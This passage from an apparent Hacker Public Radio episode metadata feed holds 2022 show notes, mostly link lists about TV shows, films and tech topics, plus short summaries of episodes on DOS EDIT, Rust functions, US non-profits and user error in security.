                                                            https://www.imdb.com/title/tt0065314/

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Mary_Tyler_Moore_Show

                                                            \n

                                                            https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1970s/mary-tyler-moore-show/

                                                            \n

                                                            Bewitched

                                                            \n

                                                            https://www.imdb.com/title/tt0057733/

                                                            \n

                                                            https://tubitv.com/series/300006608/bewitched

                                                            \n

                                                            https://nostalgiacentral.com/?s=bewitched

                                                            \n

                                                            https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/bewitched-2/

                                                            \n

                                                            McHale's Navy

                                                            \n

                                                            https://www.imdb.com/title/tt0055689/

                                                            \n

                                                            https://en.wikipedia.org/wiki/McHale%27s_Navy

                                                            \n

                                                            https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/mchales-navy/

                                                            \n

                                                            F Troop

                                                            \n

                                                            https://www.imdb.com/title/tt0058800/

                                                            \n

                                                            https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/f-troop/

                                                            \n

                                                            Hogan's Heroes

                                                            \n

                                                            https://hogansheroes.fandom.com/wiki/Hogan%27s_Heroes

                                                            \n

                                                            https://www.imdb.com/title/tt0058812/

                                                            \n

                                                            https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/hogans-heroes/

                                                            \n

                                                            Phil Silver's Show

                                                            \n

                                                            https://www.imdb.com/title/tt0047763/

                                                            \n

                                                            https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1950s/phil-silvers-show/

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Phil_Silvers_Show

                                                            \n

                                                            Sgt. Bilko (movie with Steve Martin)

                                                            \n

                                                            https://www.imdb.com/title/tt0117608/

                                                            \n

                                                            Adam Sandler

                                                            \n

                                                            https://www.imdb.com/name/nm0001191/

                                                            \n

                                                            Brooklyn 99

                                                            \n

                                                            https://www.imdb.com/title/tt2467372/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Brooklyn_Nine-Nine

                                                            \n

                                                            Idiocracy

                                                            \n

                                                            https://www.imdb.com/title/tt0387808/

                                                            \n

                                                            https://archive.org/details/Idiocracy_201507

                                                            \n

                                                            Blazing Saddles

                                                            \n

                                                            https://www.imdb.com/title/tt0071230/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Blazing_Saddles

                                                            \n

                                                            https://www.rollingstone.com/tv-movies/tv-movie-features/mel-brooks-why-blazing-saddles-is-the-funniest-movie-ever-made-252004/

                                                            \n

                                                            Young Frankenstein

                                                            \n

                                                            https://www.imdb.com/title/tt0072431/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Young_Frankenstein

                                                            \n

                                                            https://www.cinemablend.com/news/2573686/young-frankenstein-behind-the-scenes-facts-about-the-mel-brooks-movie

                                                            \n

                                                            Silent Movie

                                                            \n

                                                            https://www.imdb.com/title/tt0075222/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Silent_Movie

                                                            \n

                                                            High Anxiety

                                                            \n

                                                            https://www.imdb.com/title/tt0076141/

                                                            \n

                                                            https://en.wikipedia.org/wiki/High_Anxiety

                                                            \n

                                                            Spaceballs

                                                            \n

                                                            https://www.imdb.com/title/tt0094012/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Spaceballs

                                                            \n

                                                            Robin Hood : Men In Tights

                                                            \n

                                                            https://www.imdb.com/title/tt0107977/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Robin_Hood:_Men_in_Tights

                                                            \n

                                                            Robin Hood Prince Of Thieves

                                                            \n

                                                            https://www.imdb.com/title/tt0102798/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Robin_Hood:_Prince_of_Thieves

                                                            \n

                                                            Princess Bride

                                                            \n

                                                            https://www.imdb.com/title/tt0093779/

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Princess_Bride_(film)

                                                            \n

                                                            Mawg (Spaceballs)

                                                            \n

                                                            https://spaceballs.fandom.com/wiki/Barf

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR, New Years, Talking","version":0,"downloads":0,"valid":1}, {"id":3678,"date":"2022-09-07","title":"\"Stupid Users\" ... no, not those users, the other \"stupid users\"","duration":907,"summary":"Brady & I discuss stupid things done by those of us who really should know better.","notes":"

                                                            In this week's episode, I chat with R. Brady Frost about the little plumber vs the gigantic rock. Then we move in to a discussion about the fallacy of stupid users with some great stories of stupid things done by those of us who really should know better. The moral of the story, is that we are all human and nothing will ever change that. Instead, we need to be prepared for when humans are human.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":405,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"cybersecurity,security,EvilSteve,users,stupid human tricks,customer service","version":0,"downloads":0,"valid":1}, {"id":3679,"date":"2022-09-08","title":"Linux Inlaws S01E64: Non-profits in the US: A closer look at 501(c)s","duration":2177,"summary":"The Ins and Outs of 501(c)s","notes":"

                                                            In this episode, Martin and Chris shed more light on the riveting subject of non-profit\nand not-for-profit organisations especially in the US with a special focus on the all-\nimportant topic of tax implications. Warning: Due to the fast-paced and gripping never\nmind explicit nature of this topic, people with sleeping disabilities or who are easily startled\n/ offended by graphic content should consult a member of the medical profession to ensure\nthat they are capable of handling this episode. You have been warned.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"501(c)3, 501(c)6, non-profits, not-for-profits, Church of Emacs, RMS, Serviettenknödel","version":0,"downloads":0,"valid":1}, {"id":3680,"date":"2022-09-09","title":"EDIT","duration":739,"summary":"More on DOS. This time it is EDIT","notes":"

                                                            EDIT is a key built-in applet that you can use to edit your AUTOEXEC.BAT and CONFIG.SYS files, which makes it a key addition to your Emergency Boot Disk.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing, EDIT","version":0,"downloads":0,"valid":1}, {"id":3681,"date":"2022-09-12","title":"Rust 101 Episode 3: Functionally Insane","duration":2481,"summary":"In this episode BlacKernel teaches you how to make functions and for loops in rust","notes":"

                                                            In this episode BlacKernel is back! (Although a lot more loopy than I remember being while recording)

                                                            \n

                                                            And teaching you how to make functions, for loops, and match statements in Rust.

                                                            \n

                                                            Points covered in this episode:

                                                            \n
                                                              \n
                                                            • isize and usize number types in rust
                                                            • \n
                                                            • fn (function) declarations with arguments and return types
                                                            • \n
                                                            • match statements both bare and part of variable assignment
                                                            • \n
                                                            • for _ in 1..x loops. That is for loops over an iterator variable across a range of integers.
                                                              \n
                                                            • \n
                                                            \n

                                                            Email: izzyleibowitz@pm.me
                                                            \nMastodon: https://nixnet.social/BlacKernel

                                                            \n","hostid":396,"series":25,"explicit":1,"license":"CC-BY-SA","tags":"rust, for loop, for, match, functions, loops, usize, isize, programming, tutorial","version":0,"downloads":0,"valid":1}, {"id":3682,"date":"2022-09-13","title":"2021-2022 New Years Show Part 5","duration":11161,"summary":"The HPR community comes together to chat","notes":"

                                                            Hacker Public Radio New Years Eve Show 2021 - 2022

                                                            \n

                                                            Part 5

                                                            \n

                                                            What is a Recliner Chair

                                                            \n

                                                            https://en.wikipedia.org/wiki/Recliner

                                                            \n

                                                            Shillelagh

                                                            \n

                                                            https://en.wikipedia.org/wiki/Shillelagh

                                                            \n

                                                            Goedendag

                                                            \n

                                                            https://www.military-history.org/feature/medieval/the-goedendag-medieval-weaponry.htm

                                                            \n

                                                            https://en.wikipedia.org/wiki/Goedendag

                                                            \n

                                                            Flail

                                                            \n

                                                            https://medievalbritain.com/type/medieval-life/weapons/medieval-flail/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Flail_(weapon)

                                                            \n

                                                            http://myarmoury.com/talk/viewtopic.12645.html

                                                            \n

                                                            That '70s Show

                                                            \n

                                                            https://www.imdb.com/title/tt0165598/

                                                            \n

                                                            https://en.wikipedia.org/wiki/That_%2770s_Show

                                                            \n

                                                            Tommy Chong

                                                            \n

                                                            https://tommychong.com/

                                                            \n

                                                            https://www.imdb.com/name/nm0001045/

                                                            \n

                                                            That '80s Show

                                                            \n

                                                            https://www.imdb.com/title/tt0305472/

                                                            \n

                                                            https://en.wikipedia.org/wiki/That_%2780s_Show

                                                            \n

                                                            The Goldbergs

                                                            \n

                                                            https://www.imdb.com/title/tt2712740/

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Goldbergs_(2013_TV_series)

                                                            \n

                                                            Leverage - Redemption

                                                            \n

                                                            https://www.imdb.com/title/tt12197698/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Leverage:_Redemption

                                                            \n

                                                            The Librarians

                                                            \n

                                                            https://www.imdb.com/title/tt3663490/

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Librarians_(2014_TV_series)

                                                            \n

                                                            Warehouse 13

                                                            \n

                                                            https://warehouse13.fandom.com/wiki/Warehouse_13_(Series)

                                                            \n

                                                            https://www.imdb.com/title/tt1132290/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Warehouse_13

                                                            \n

                                                            The Librarian (TV Movies)

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Librarian_(franchise)

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Librarian:_Quest_for_the_Spear

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Librarian:_Return_to_King_Solomon%27s_Mines

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Librarian:_Curse_of_the_Judas_Chalice

                                                            \n

                                                            Falling Skies

                                                            \n

                                                            https://fallingskies.fandom.com/wiki/Falling_Skies_Wiki

                                                            \n

                                                            https://www.imdb.com/title/tt1462059/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Falling_Skies

                                                            \n

                                                            Sanctuary

                                                            \n

                                                            https://sanctuary.fandom.com/wiki/Sanctuary

                                                            \n

                                                            https://en.wikipedia.org/wiki/Sanctuary_(TV_series)

                                                            \n

                                                            https://www.imdb.com/title/tt0965394/

                                                            \n

                                                            How I Met Your Mother

                                                            \n

                                                            https://how-i-met-your-mother.fandom.com/wiki/How_I_Met_Your_Mother

                                                            \n

                                                            https://www.imdb.com/title/tt0460649/

                                                            \n

                                                            https://en.wikipedia.org/wiki/How_I_Met_Your_Mother

                                                            \n

                                                            Doogie Houser, MD

                                                            \n

                                                            https://en.wikipedia.org/wiki/Doogie_Howser,_M.D.

                                                            \n

                                                            https://www.imdb.com/title/tt0096569/

                                                            \n

                                                            The Wonder Years

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Wonder_Years

                                                            \n

                                                            https://www.imdb.com/title/tt0094582/

                                                            \n

                                                            Defiance

                                                            \n

                                                            https://defiance.fandom.com/wiki/Defiance_(TV)

                                                            \n

                                                            https://www.imdb.com/title/tt1034303/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Defiance_(TV_series)

                                                            \n

                                                            Firefly

                                                            \n

                                                            https://firefly.fandom.com/wiki/Firefly

                                                            \n

                                                            https://en.wikipedia.org/wiki/Firefly_(TV_series)

                                                            \n

                                                            https://www.imdb.com/title/tt0303461/

                                                            \n

                                                            KillJoys

                                                            \n

                                                            https://killjoys.fandom.com/wiki/Killjoys

                                                            \n

                                                            https://www.imdb.com/title/tt3952222/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Killjoys

                                                            \n

                                                            Cowboy BeBop

                                                            \n

                                                            https://cowboybebop.fandom.com/wiki/Main_Page

                                                            \n

                                                            https://en.wikipedia.org/wiki/Cowboy_Bebop

                                                            \n

                                                            https://www.imdb.com/title/tt0213338/

                                                            \n

                                                            The Orville

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Orville

                                                            \n

                                                            https://www.imdb.com/title/tt5691552/

                                                            \n

                                                            Star Trek Enterprise

                                                            \n

                                                            https://memory-alpha.fandom.com/wiki/Star_Trek:_Enterprise

                                                            \n

                                                            https://www.imdb.com/title/tt0244365/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Star_Trek:_Enterprise

                                                            \n

                                                            Eureka

                                                            \n

                                                            https://eureka.fandom.com/wiki/Eureka_(TV_series)

                                                            \n

                                                            https://www.imdb.com/title/tt0796264/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Eureka_(American_TV_series)

                                                            \n

                                                            Supernatural

                                                            \n

                                                            https://supernatural.fandom.com/wiki/Supernatural_Wiki

                                                            \n

                                                            https://www.imdb.com/title/tt0460681/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Supernatural_(American_TV_series)

                                                            \n

                                                            Project Hail Mary (book)

                                                            \n

                                                            https://en.wikipedia.org/wiki/Project_Hail_Mary

                                                            \n

                                                            SETI - The Search For Extraterrestrial Intelligence

                                                            \n

                                                            https://www.seti.org/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Search_for_extraterrestrial_intelligence

                                                            \n

                                                            https://setiathome.berkeley.edu/

                                                            \n

                                                            Red Dwarf

                                                            \n

                                                            https://reddwarf.co.uk/

                                                            \n

                                                            https://reddwarf.fandom.com/wiki/Red_Dwarf

                                                            \n

                                                            https://en.wikipedia.org/wiki/Red_Dwarf

                                                            \n

                                                            Farscape

                                                            \n

                                                            https://farscape.fandom.com/wiki/Farscape_Encyclopedia_Project:Main_Page

                                                            \n

                                                            https://www.imdb.com/title/tt0187636/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Farscape

                                                            \n

                                                            Farscape: The Peacekeeper Wars

                                                            \n

                                                            https://www.imdb.com/title/tt0387736/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Farscape:_The_Peacekeeper_Wars

                                                            \n

                                                            Deep Space 9

                                                            \n

                                                            https://www.imdb.com/title/tt0106145/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Star_Trek:_Deep_Space_Nine

                                                            \n

                                                            https://memory-alpha.fandom.com/wiki/Star_Trek:_Deep_Space_Nine

                                                            \n

                                                            Torchwood

                                                            \n

                                                            https://tardis.fandom.com/wiki/Torchwood_(series)

                                                            \n

                                                            https://www.imdb.com/title/tt0485301/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Torchwood

                                                            \n

                                                            Robert Murray Smith - Battery Tech Youtube Channel (Bromine Fusion Reactor?)

                                                            \n

                                                            https://www.youtube.com/c/RobertMurraySmith

                                                            \n

                                                            Californication

                                                            \n

                                                            https://www.imdb.com/title/tt0904208/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Californication_(TV_series)

                                                            \n

                                                            Mister Robot

                                                            \n

                                                            https://mrrobot.fandom.com/wiki/Mr._Robot

                                                            \n

                                                            https://www.imdb.com/title/tt4158110/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Mr._Robot

                                                            \n

                                                            American Gods (book and TV series)

                                                            \n

                                                            https://americangods.fandom.com/wiki/American_Gods_Wiki

                                                            \n

                                                            https://en.wikipedia.org/wiki/American_Gods_(TV_series)

                                                            \n

                                                            https://www.imdb.com/title/tt1898069/

                                                            \n

                                                            https://en.wikipedia.org/wiki/American_Gods

                                                            \n

                                                            https://www.neilgaiman.com/works/Books/American+Gods/

                                                            \n

                                                            Neil Gaiman

                                                            \n

                                                            https://www.neilgaiman.com/

                                                            \n

                                                            https://journal.neilgaiman.com/

                                                            \n

                                                            https://www.mousecircus.com/

                                                            \n

                                                            Good Omens (book and TV series)

                                                            \n

                                                            https://www.imdb.com/title/tt1869454/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Good_Omens_(TV_series)

                                                            \n

                                                            https://www.neilgaiman.com/works/Books/Good+Omens/

                                                            \n

                                                            https://www.terrypratchettbooks.com/books/good-omens/

                                                            \n

                                                            The Pretender

                                                            \n

                                                            https://pretender.fandom.com/wiki/The_Pretender

                                                            \n

                                                            https://www.imdb.com/title/tt0115320/

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Pretender_(TV_series)

                                                            \n

                                                            Parker Lewis Can't Loose

                                                            \n

                                                            https://en.wikipedia.org/wiki/Parker_Lewis_Can%27t_Lose

                                                            \n

                                                            https://www.imdb.com/title/tt0098888/

                                                            \n

                                                            Ferris Bueller's Day Off

                                                            \n

                                                            https://www.imdb.com/title/tt0091042/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Ferris_Bueller%27s_Day_Off

                                                            \n

                                                            https://www.inverse.com/culture/ferris-buellers-day-off-cameron-red-jersey

                                                            \n

                                                            Rock and Roll High School Forever

                                                            \n

                                                            https://www.imdb.com/title/tt0100504/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Rock_%27n%27_Roll_High_School_Forever

                                                            \n

                                                            Inspector Gadget

                                                            \n

                                                            https://www.imdb.com/title/tt0085033/

                                                            \n

                                                            https://www.imdb.com/title/tt3910690/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Inspector_Gadget_(1983_TV_series)

                                                            \n

                                                            Into The Badlands

                                                            \n

                                                            https://www.imdb.com/title/tt3865236/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Into_the_Badlands_(TV_series)

                                                            \n

                                                            Journey To The West

                                                            \n

                                                            https://en.wikipedia.org/wiki/Journey_to_the_West

                                                            \n

                                                            Dark Crystal - Age Of Resistance (TV Show)

                                                            \n

                                                            https://www.imdb.com/title/tt6905542/

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Dark_Crystal:_Age_of_Resistance

                                                            \n

                                                            https://www.syfy.com/syfy-wire/dark-crystal-age-of-resistance-netflix-lisa-henson-whats-next

                                                            \n

                                                            Night Court

                                                            \n

                                                            https://www.imdb.com/title/tt0086770/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Night_Court

                                                            \n

                                                            PBS

                                                            \n

                                                            https://www.pbs.org/

                                                            \n

                                                            https://en.wikipedia.org/wiki/PBS

                                                            \n

                                                            Metal Hurlant Chronicles

                                                            \n

                                                            https://www.imdb.com/title/tt1629348/

                                                            \n

                                                            https://en.wikipedia.org/wiki/M%C3%A9tal_Hurlant_Chronicles

                                                            \n

                                                            Metal Hurlant (comic/magazine)

                                                            \n

                                                            https://en.wikipedia.org/wiki/M%C3%A9tal_hurlant

                                                            \n

                                                            https://www.openculture.com/2017/08/metal-hurlant.html

                                                            \n

                                                            Heavy Metal Magazine

                                                            \n

                                                            https://www.heavymetal.com/

                                                            \n

                                                            http://www.heavymetalmagazinefanpage.com/index.html

                                                            \n

                                                            https://en.wikipedia.org/wiki/Heavy_Metal_(magazine)

                                                            \n

                                                            Heavy Metal (movie)

                                                            \n

                                                            https://heavymetalmedia.fandom.com/wiki/Heavy_Metal_1981

                                                            \n

                                                            https://www.imdb.com/title/tt0082509/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Heavy_Metal_(film)

                                                            \n

                                                            Total Recall 2070 (TV Show)

                                                            \n

                                                            https://www.imdb.com/title/tt0159920/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Total_Recall_2070

                                                            \n

                                                            Sapphire and Steele

                                                            \n

                                                            https://www.imdb.com/title/tt0078682/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Sapphire_%26_Steel

                                                            \n

                                                            Sapphire and Steel Big Finish audio drama

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Mystery_of_the_Missing_Hour

                                                            \n

                                                            Dinosaucers

                                                            \n

                                                            https://www.imdb.com/title/tt0213341/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Dinosaucers

                                                            \n

                                                            https://dinosaucers.fandom.com/wiki/Dinosaucers

                                                            \n

                                                            Super Ted

                                                            \n

                                                            https://www.imdb.com/title/tt0085096/

                                                            \n

                                                            https://en.wikipedia.org/wiki/SuperTed

                                                            \n

                                                            Bravestarr

                                                            \n

                                                            https://hero.fandom.com/wiki/BraveStarr

                                                            \n

                                                            https://bravestarr.fandom.com/wiki/Bravestarr_Wiki

                                                            \n

                                                            https://en.wikipedia.org/wiki/BraveStarr

                                                            \n

                                                            https://www.imdb.com/title/tt0127471/

                                                            \n

                                                            Denver the Last Dinosaur

                                                            \n

                                                            https://zagtoon.fandom.com/wiki/Denver_the_Last_Dinosaur

                                                            \n

                                                            https://www.imdb.com/title/tt0190178/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Denver,_the_Last_Dinosaur

                                                            \n

                                                            Mummies Alive!

                                                            \n

                                                            https://en.wikipedia.org/wiki/Mummies_Alive!

                                                            \n

                                                            https://www.imdb.com/title/tt0125633/

                                                            \n

                                                            https://youtu.be/AO-qRSL9nng

                                                            \n

                                                            SWAT Kats: The Radical Squadron

                                                            \n

                                                            https://90scartoons.fandom.com/wiki/SWAT_Kats:_The_Radical_Squadron

                                                            \n

                                                            https://www.imdb.com/title/tt0126173/

                                                            \n

                                                            https://en.wikipedia.org/wiki/SWAT_Kats:_The_Radical_Squadron

                                                            \n

                                                            https://www.kickstarter.com/projects/1820796125/swat-kats-revolution (Kickstarter to bring the series back)

                                                            \n

                                                            How To Train Your Dragon

                                                            \n

                                                            https://www.dreamworks.com/how-to-train-your-dragon

                                                            \n

                                                            https://www.imdb.com/title/tt0892769/

                                                            \n

                                                            https://www.imdb.com/title/tt1646971/

                                                            \n

                                                            https://www.imdb.com/title/tt2386490/

                                                            \n

                                                            https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon#How_to_Train_Your_Dragon_(2010)

                                                            \n

                                                            https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon_2

                                                            \n

                                                            https://en.wikipedia.org/wiki/How_to_Train_Your_Dragon:_The_Hidden_World

                                                            \n

                                                            https://www.polygon.com/animation-cartoons/22724287/how-to-train-your-dragon-tv-show-hulu-peacock-modern-day

                                                            \n

                                                            Dungeons & Dragons Cartoon

                                                            \n

                                                            https://www.imdb.com/title/tt0085011/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Dungeons_%26_Dragons_(TV_series)

                                                            \n

                                                            https://movieweb.com/dungeons-and-dragons-80s-animated-series/

                                                            \n

                                                            https://www.tor.com/2022/01/11/revisiting-the-dungeons-dragons-animated-series/

                                                            \n

                                                            https://boingboing.net/2021/07/10/fans-animate-unfinished-last-episode-of-dungeons-and-dragons-cartoon.html

                                                            \n

                                                            https://www.thegamer.com/dungeons-dragons-cartoon-facts/

                                                            \n

                                                            https://dungeonsdragons.fandom.com/wiki/Dungeons_%26_Dragons_(TV_series)

                                                            \n

                                                            https://en.wikiquote.org/wiki/Dungeons_%26_Dragons_(TV_series)

                                                            \n

                                                            Chip and Dale Rescue Rangers (TV cartoon & Movie)

                                                            \n

                                                            https://www.imdb.com/title/tt0096557/

                                                            \n

                                                            https://youtu.be/Y5feVNIkX-I

                                                            \n

                                                            https://disney.fandom.com/wiki/Chip_%27n_Dale_Rescue_Rangers_(film)

                                                            \n

                                                            https://www.imdb.com/title/tt3513500/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Chip_%27n_Dale:_Rescue_Rangers_(film)

                                                            \n

                                                            Dark Wing Duck

                                                            \n

                                                            https://disney.fandom.com/wiki/Darkwing_Duck

                                                            \n

                                                            https://www.imdb.com/title/tt0101076/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Darkwing_Duck

                                                            \n

                                                            https://variety.com/2020/tv/news/darkwing-duck-reboot-disney-plus-1234830283/

                                                            \n

                                                            Tale Spin

                                                            \n

                                                            https://disney.fandom.com/wiki/TaleSpin

                                                            \n

                                                            https://en.wikipedia.org/wiki/TaleSpin

                                                            \n

                                                            https://www.imdb.com/title/tt0098924/

                                                            \n

                                                            The Octonauts

                                                            \n

                                                            https://www.imdb.com/title/tt1710177/

                                                            \n

                                                            https://www.bbc.co.uk/iplayer/episodes/b00xhyjf/octonauts

                                                            \n

                                                            https://en.wikipedia.org/wiki/Octonauts

                                                            \n

                                                            Aquanauts

                                                            \n

                                                            https://www.imdb.com/title/tt0053481/

                                                            \n

                                                            https://www.imdb.com/title/tt0257292/

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Aquanauts

                                                            \n

                                                            Woody Woodpecker

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Woody_Woodpecker_Show

                                                            \n

                                                            https://unitedparamountnetworkupn.fandom.com/wiki/The_Woody_Woodpecker_Show

                                                            \n

                                                            https://youtu.be/Q4uIdPOpen8

                                                            \n

                                                            Donald Duck Gets Discharged from the Military

                                                            \n

                                                            https://www.portablepress.com/blog/2017/05/donald-duck-trivia/

                                                            \n

                                                            GizmoDuck

                                                            \n

                                                            https://scrooge-mcduck.fandom.com/wiki/Gizmoduck

                                                            \n

                                                            Donald Duck has PTSD

                                                            \n

                                                            https://cartoonoveranalyzations.wordpress.com/2009/02/20/diagnosis-donald-duck-suffers-from-ptsd/

                                                            \n

                                                            https://youtu.be/ehy7Mq7SP80

                                                            \n

                                                            Voltron

                                                            \n

                                                            https://www.imdb.com/title/tt5580664/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Voltron

                                                            \n

                                                            https://voltron.com/

                                                            \n

                                                            Rin Tin Tin / Adventures of Tin Tin

                                                            \n

                                                            https://en.wikipedia.org/wiki/Rin_Tin_Tin

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Adventures_of_Rin_Tin_Tin

                                                            \n

                                                            https://www.imdb.com/name/nm0863833/

                                                            \n

                                                            https://www.imdb.com/title/tt0046576/

                                                            \n

                                                            https://americacomesalive.com/the-story-of-rin-tin-tin-2/

                                                            \n

                                                            Heinz 57

                                                            \n

                                                            https://en.wikipedia.org/wiki/Heinz_57

                                                            \n

                                                            Winnie The Pooh

                                                            \n

                                                            https://disney.fandom.com/wiki/Winnie_the_Pooh

                                                            \n

                                                            https://www.smithsonianmag.com/arts-culture/winnie-pooh-became-household-bear-180967090/

                                                            \n

                                                            https://www.yahoo.com/lifestyle/upcoming-film-winnie-pooh-blood-140045130.html

                                                            \n

                                                            Furries

                                                            \n

                                                            https://en.wikipedia.org/wiki/Furry_fandom

                                                            \n

                                                            Teen Wolf

                                                            \n

                                                            https://www.imdb.com/title/tt0090142/

                                                            \n

                                                            The Goonies

                                                            \n

                                                            https://goonies.fandom.com/wiki/The_Goonies_(film)

                                                            \n

                                                            https://www.imdb.com/title/tt0089218/

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Goonies

                                                            \n

                                                            Magic The Gathering - Innistrad

                                                            \n

                                                            https://mtg.fandom.com/wiki/Innistrad_(plane)

                                                            \n

                                                            Galaxy S6 Phone

                                                            \n

                                                            https://www.gsmarena.com/samsung_galaxy_s6-6849.php

                                                            \n

                                                            Lineage OS

                                                            \n

                                                            https://lineageos.org/

                                                            \n

                                                            Ubports

                                                            \n

                                                            https://ubports.com/

                                                            \n

                                                            Tony is enjoying his Juno Linux PC - Brutus 5000

                                                            \n

                                                            https://junocomputers.com/product/brutus-5000-v2/

                                                            \n

                                                            Boxes (Linux Virtual Machine application)

                                                            \n

                                                            https://help.gnome.org/users/gnome-boxes/stable/

                                                            \n

                                                            Haskell

                                                            \n

                                                            https://www.haskell.org/

                                                            \n

                                                            Rooibos Tea

                                                            \n

                                                            https://www.healthline.com/nutrition/rooibos-tea-benefits

                                                            \n

                                                            https://en.wikipedia.org/wiki/Rooibos

                                                            \n

                                                            IPFS

                                                            \n

                                                            https://ipfs.io/

                                                            \n

                                                            https://en.wikipedia.org/wiki/InterPlanetary_File_System

                                                            \n

                                                            https://medium.com/@ConsenSys/an-introduction-to-ipfs-9bba4860abd0

                                                            \n

                                                            Arc Wedling

                                                            \n

                                                            https://www.twi-global.com/technical-knowledge/faqs/what-is-arc-welding

                                                            \n

                                                            https://weldguru.com/what-is-arc-welding/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Arc_welding

                                                            \n

                                                            6011 Stick Welding Rods

                                                            \n

                                                            https://weldingtroop.com/what-is-6011-welding-rod-used-for/

                                                            \n

                                                            Zinc

                                                            \n

                                                            https://www.rsc.org/periodic-table/element/30/zinc

                                                            \n

                                                            https://en.wikipedia.org/wiki/Zinc

                                                            \n

                                                            Zamak

                                                            \n

                                                            https://en.wikipedia.org/wiki/Zamak

                                                            \n

                                                            https://decoprod.com/design-support/zamak/

                                                            \n

                                                            Biodiesel

                                                            \n

                                                            https://en.wikipedia.org/wiki/Biodiesel

                                                            \n

                                                            https://www.biodiesel.org/

                                                            \n

                                                            Boats with Underwater Wing (Hydrofoils?)

                                                            \n

                                                            http://www.hydrofoil.org/history.html

                                                            \n

                                                            https://en.wikipedia.org/wiki/Hydrofoil

                                                            \n

                                                            https://web.mit.edu/2.972/www/reports/hydrofoil/hydrofoil.html

                                                            \n

                                                            Cardano

                                                            \n

                                                            https://cardano.org/

                                                            \n

                                                            Plutus Tutorial

                                                            \n

                                                            https://plutus.readthedocs.io/en/latest/tutorials/

                                                            \n

                                                            Racket

                                                            \n

                                                            https://racket-lang.org/

                                                            \n

                                                            Plutus Pioneer Program

                                                            \n

                                                            https://testnets.cardano.org/en/plutus-pioneer-program/

                                                            \n

                                                            NixOS

                                                            \n

                                                            https://nixos.org/

                                                            \n

                                                            https://distrowatch.com/table.php?distribution=nixos

                                                            \n

                                                            https://en.wikipedia.org/wiki/NixOS

                                                            \n

                                                            Scheme

                                                            \n

                                                            https://en.wikipedia.org/wiki/Scheme_(programming_language)

                                                            \n

                                                            Lisp

                                                            \n

                                                            https://en.wikipedia.org/wiki/Lisp_(programming_language)

                                                            \n

                                                            https://www.tutorialspoint.com/lisp/index.htm

                                                            \n

                                                            Functional Programming

                                                            \n

                                                            https://www.geeksforgeeks.org/functional-programming-paradigm/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Functional_programming

                                                            \n

                                                            Clojure

                                                            \n

                                                            https://clojure.org/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Clojure

                                                            \n

                                                            https://clojuredocs.org/

                                                            \n

                                                            Solaris

                                                            \n

                                                            https://www.oracle.com/solaris/solaris11/

                                                            \n

                                                            VIM

                                                            \n

                                                            https://www.vim.org/

                                                            \n

